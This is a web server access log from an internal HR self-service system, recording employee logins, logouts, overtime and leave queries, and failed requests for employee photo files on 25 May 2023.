192.168.12.36 - - [25/May/2023:13:04:21 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA015&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2 HTTP/1.1" 302 - "http://192.168.1.81:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36 NetType/WIFI MicroMessenger/7.0.20.1781(0x6700143B) WindowsWechat(0x6309021a) XWEB/6939"
192.168.12.36 - - [25/May/2023:13:04:21 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA015&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2 HTTP/1.1" 302 -
192.168.12.36 - - [25/May/2023:13:04:35 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "http://192.168.1.81:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36 NetType/WIFI MicroMessenger/7.0.20.1781(0x6700143B) WindowsWechat(0x6309021a) XWEB/6939"
192.168.12.36 - - [25/May/2023:13:04:35 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826
192.168.11.97 - - [25/May/2023:13:04:44 +0800] "GET /idcard/ess/redirect.php?scriptname=idcard_preview&previewall=1 HTTP/1.1" 200 7942 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.97 - - [25/May/2023:13:04:44 +0800] "GET /idcard/ess/redirect.php?scriptname=idcard_preview&previewall=1 HTTP/1.1" 200 7942
192.168.11.97 - - [25/May/2023:13:04:51 +0800] "GET /Apache%20Software%20Foundation/emphoto/230054.jpg HTTP/1.1" 404 243
192.168.11.97 - - [25/May/2023:13:04:51 +0800] "GET /Apache%20Software%20Foundation/emphoto/230054.jpg HTTP/1.1" 404 243 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.97 - - [25/May/2023:13:04:51 +0800] "GET /Apache%20Software%20Foundation/emphoto/X230253.jpg HTTP/1.1" 404 244
192.168.11.97 - - [25/May/2023:13:04:51 +0800] "GET /Apache%20Software%20Foundation/emphoto/X230253.jpg HTTP/1.1" 404 244
192.168.11.97 - - [25/May/2023:13:04:51 +0800] "GET /Apache%20Software%20Foundation/emphoto/230054.jpg HTTP/1.1" 404 243
192.168.11.97 - - [25/May/2023:13:04:51 +0800] "GET /Apache%20Software%20Foundation/emphoto/X230253.jpg HTTP/1.1" 404 244 "http://192.168.1.81:8088/idcard/ess/redirect.php?scriptname=idcard_preview&previewall=1" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.97 - - [25/May/2023:13:04:51 +0800] "GET /Apache%20Software%20Foundation/emphoto/X230253.jpg HTTP/1.1" 404 244 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.97 - - [25/May/2023:13:04:51 +0800] "GET /Apache%20Software%20Foundation/emphoto/230054.jpg HTTP/1.1" 404 243 "http://192.168.1.81:8088/idcard/ess/redirect.php?scriptname=idcard_preview&previewall=1" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.12.36 - - [25/May/2023:13:04:49 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826
192.168.12.36 - - [25/May/2023:13:04:49 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "http://192.168.1.81:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36 NetType/WIFI MicroMessenger/7.0.20.1781(0x6700143B) WindowsWechat(0x6309021a) XWEB/6939 Flue"
192.168.11.97 - - [25/May/2023:13:04:57 +0800] "GET /Apache%20Software%20Foundation/emphoto/230054.jpg HTTP/1.1" 404 243
192.168.11.97 - - [25/May/2023:13:04:57 +0800] "GET /Apache%20Software%20Foundation/emphoto/230054.jpg HTTP/1.1" 404 243 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.97 - - [25/May/2023:13:04:57 +0800] "GET /Apache%20Software%20Foundation/emphoto/X230253.jpg HTTP/1.1" 404 244
192.168.11.97 - - [25/May/2023:13:04:57 +0800] "GET /Apache%20Software%20Foundation/emphoto/X230253.jpg HTTP/1.1" 404 244 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.97 - - [25/May/2023:13:04:59 +0800] "GET /Apache%20Software%20Foundation/emphoto/X230253.jpg HTTP/1.1" 404 244
192.168.11.97 - - [25/May/2023:13:04:59 +0800] "GET /Apache%20Software%20Foundation/emphoto/230054.jpg HTTP/1.1" 404 243
192.168.11.97 - - [25/May/2023:13:04:59 +0800] "GET /Apache%20Software%20Foundation/emphoto/X230253.jpg HTTP/1.1" 404 244 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.97 - - [25/May/2023:13:04:59 +0800] "GET /Apache%20Software%20Foundation/emphoto/230054.jpg HTTP/1.1" 404 243 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.97 - - [25/May/2023:13:05:00 +0800] "GET /Apache%20Software%20Foundation/emphoto/X230253.jpg HTTP/1.1" 404 244 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.97 - - [25/May/2023:13:05:00 +0800] "GET /Apache%20Software%20Foundation/emphoto/X230253.jpg HTTP/1.1" 404 244
192.168.11.97 - - [25/May/2023:13:05:00 +0800] "GET /Apache%20Software%20Foundation/emphoto/230054.jpg HTTP/1.1" 404 243 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.97 - - [25/May/2023:13:05:00 +0800] "GET /Apache%20Software%20Foundation/emphoto/230054.jpg HTTP/1.1" 404 243
192.168.11.97 - - [25/May/2023:13:05:00 +0800] "GET /Apache%20Software%20Foundation/emphoto/230054.jpg HTTP/1.1" 404 243
192.168.11.97 - - [25/May/2023:13:05:00 +0800] "GET /Apache%20Software%20Foundation/emphoto/230054.jpg HTTP/1.1" 404 243 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.97 - - [25/May/2023:13:05:00 +0800] "GET /Apache%20Software%20Foundation/emphoto/X230253.jpg HTTP/1.1" 404 244
192.168.11.97 - - [25/May/2023:13:05:00 +0800] "GET /Apache%20Software%20Foundation/emphoto/X230253.jpg HTTP/1.1" 404 244 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.12.36 - - [25/May/2023:13:08:52 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 -
192.168.12.36 - - [25/May/2023:13:08:52 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.81:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36 NetType/WIFI MicroMessenger/7.0.20.1781(0x6700143B) WindowsWechat(0x6309021a) XWEB/6939 Flue"
192.168.12.36 - - [25/May/2023:13:09:14 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8929
192.168.12.36 - - [25/May/2023:13:09:14 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8929 "http://192.168.1.81:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36 NetType/WIFI MicroMessenger/7.0.20.1781(0x6700143B) WindowsWechat(0x6309021a) XWEB/6939 Flue"
192.168.12.36 - - [25/May/2023:13:09:22 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 - "http://192.168.1.81:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36 NetType/WIFI MicroMessenger/7.0.20.1781(0x6700143B) WindowsWechat(0x6309021a) XWEB/6939"
192.168.12.36 - - [25/May/2023:13:09:22 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 -
192.168.11.236 - - [25/May/2023:13:03:01 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 139 "http://192.168.1.81:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.236 - - [25/May/2023:13:03:01 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 139
192.168.11.236 - - [25/May/2023:13:02:34 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 - "http://192.168.1.81:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.236 - - [25/May/2023:13:02:34 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 -
192.168.12.36 - - [25/May/2023:13:11:19 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA015&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 6457 "http://192.168.1.81:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36 NetType/WIFI MicroMessenger/7.0.20.1781(0x6700143B) WindowsWechat(0x6309021a) XWEB/6939"
192.168.12.36 - - [25/May/2023:13:11:19 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA015&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 6457
192.168.11.156 - - [25/May/2023:13:12:39 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 302 121 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.156 - - [25/May/2023:13:12:39 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 302 121
192.168.11.156 - - [25/May/2023:13:12:43 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 302 121 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.156 - - [25/May/2023:13:12:43 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 302 121
192.168.11.156 - - [25/May/2023:13:12:48 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 302 121
192.168.11.156 - - [25/May/2023:13:12:48 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 302 121 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.156 - - [25/May/2023:13:12:53 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 302 121 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.156 - - [25/May/2023:13:12:53 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 302 121
192.168.11.156 - - [25/May/2023:13:12:40 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.156 - - [25/May/2023:13:12:40 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826
192.168.11.156 - - [25/May/2023:13:12:55 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 302 121 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.156 - - [25/May/2023:13:12:55 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 302 121
192.168.11.156 - - [25/May/2023:13:12:50 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.156 - - [25/May/2023:13:12:50 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826
192.168.11.236 - - [25/May/2023:13:14:43 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 - "http://192.168.1.81:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.236 - - [25/May/2023:13:14:43 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 -
192.168.11.236 - - [25/May/2023:13:14:55 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 - "http://192.168.1.81:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.236 - - [25/May/2023:13:14:55 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 -
192.168.11.236 - - [25/May/2023:13:15:33 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 -
192.168.11.236 - - [25/May/2023:13:15:33 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 - "http://192.168.1.81:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.71 - - [25/May/2023:13:17:28 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 302 - "http://192.168.1.81:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.71 - - [25/May/2023:13:17:28 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 302 -
192.168.11.236 - - [25/May/2023:13:17:30 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 12325
192.168.11.236 - - [25/May/2023:13:17:30 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 12325 "http://192.168.1.81:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.71 - - [25/May/2023:13:17:33 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "http://192.168.1.81:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.71 - - [25/May/2023:13:17:33 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826
192.168.12.71 - - [25/May/2023:13:17:35 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826
192.168.12.71 - - [25/May/2023:13:17:35 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "http://192.168.1.81:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.71 - - [25/May/2023:13:18:02 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 200 - "http://192.168.1.81:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.71 - - [25/May/2023:13:18:02 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 200 -
192.168.11.71 - - [25/May/2023:13:18:48 +0800] "GET /ehr/ess/index.php?action=logout HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.71 - - [25/May/2023:13:18:48 +0800] "GET /ehr/ess/index.php?action=logout HTTP/1.1" 200 8826
192.168.12.71 - - [25/May/2023:13:18:43 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 -
192.168.12.71 - - [25/May/2023:13:18:43 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.81:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.71 - - [25/May/2023:13:18:51 +0800] "POST /ehr/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.81:8088/ehr/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.71 - - [25/May/2023:13:18:51 +0800] "POST /ehr/ess/includes/login.php HTTP/1.1" 302 -
192.168.12.71 - - [25/May/2023:13:19:03 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8929
192.168.12.71 - - [25/May/2023:13:19:03 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8929 "http://192.168.1.81:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.71 - - [25/May/2023:13:19:03 +0800] "POST /ehr/ess/includes/login.php HTTP/1.1" 200 - "http://192.168.1.81:8088/ehr/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.71 - - [25/May/2023:13:19:03 +0800] "POST /ehr/ess/includes/login.php HTTP/1.1" 200 -
192.168.11.71 - - [25/May/2023:13:19:37 +0800] "POST /ehr/ess/includes/login.php HTTP/1.1" 200 - "http://192.168.1.81:8088/ehr/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.71 - - [25/May/2023:13:19:37 +0800] "POST /ehr/ess/includes/login.php HTTP/1.1" 200 -
192.168.11.71 - - [25/May/2023:13:20:08 +0800] "POST /ehr/ess/includes/login.php HTTP/1.1" 200 - "http://192.168.1.81:8088/ehr/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.71 - - [25/May/2023:13:20:08 +0800] "POST /ehr/ess/includes/login.php HTTP/1.1" 200 -
192.168.12.36 - - [25/May/2023:13:13:17 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNA015&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 139 "http://192.168.1.81:8088/eHR/ess/redirect.php?scriptname=ESNA015&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36 NetType/WIFI MicroMessenger/7.0.20.1781(0x6700143B) WindowsWechat(0x6309021a) XWEB/6939"
192.168.12.36 - - [25/May/2023:13:13:17 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNA015&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 139
192.168.12.36 - - [25/May/2023:13:14:48 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNA015&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 139 "http://192.168.1.81:8088/eHR/ess/redirect.php?scriptname=ESNA015&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36 NetType/WIFI MicroMessenger/7.0.20.1781(0x6700143B) WindowsWechat(0x6309021a) XWEB/6939"
192.168.12.36 - - [25/May/2023:13:14:48 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNA015&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 139
192.168.12.36 - - [25/May/2023:13:14:57 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNA015&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 139 "http://192.168.1.81:8088/eHR/ess/redirect.php?scriptname=ESNA015&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36 NetType/WIFI MicroMessenger/7.0.20.1781(0x6700143B) WindowsWechat(0x6309021a) XWEB/6939"
192.168.12.36 - - [25/May/2023:13:14:57 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNA015&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 139
192.168.12.36 - - [25/May/2023:13:12:18 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNA015&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 -
192.168.12.36 - - [25/May/2023:13:12:18 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNA015&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 - "http://192.168.1.81:8088/eHR/ess/redirect.php?scriptname=ESNA015&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36 NetType/WIFI MicroMessenger/7.0.20.1781(0x6700143B) WindowsWechat(0x6309021a) XWEB/6939"
192.168.11.236 - - [25/May/2023:13:20:20 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 139 "http://192.168.1.81:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.236 - - [25/May/2023:13:20:20 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 139
192.168.11.236 - - [25/May/2023:13:17:37 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 -
192.168.11.236 - - [25/May/2023:13:17:37 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 - "http://192.168.1.81:8088/eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.236 - - [25/May/2023:13:24:53 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271
192.168.11.236 - - [25/May/2023:13:24:53 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.81:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.236 - - [25/May/2023:13:25:02 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 12325 "http://192.168.1.81:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.236 - - [25/May/2023:13:25:02 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 12325
192.168.12.71 - - [25/May/2023:13:22:39 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 139 "http://192.168.1.81:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.71 - - [25/May/2023:13:22:39 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 139
192.168.12.71 - - [25/May/2023:13:19:19 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 - "http://192.168.1.81:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.71 - - [25/May/2023:13:19:19 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 -
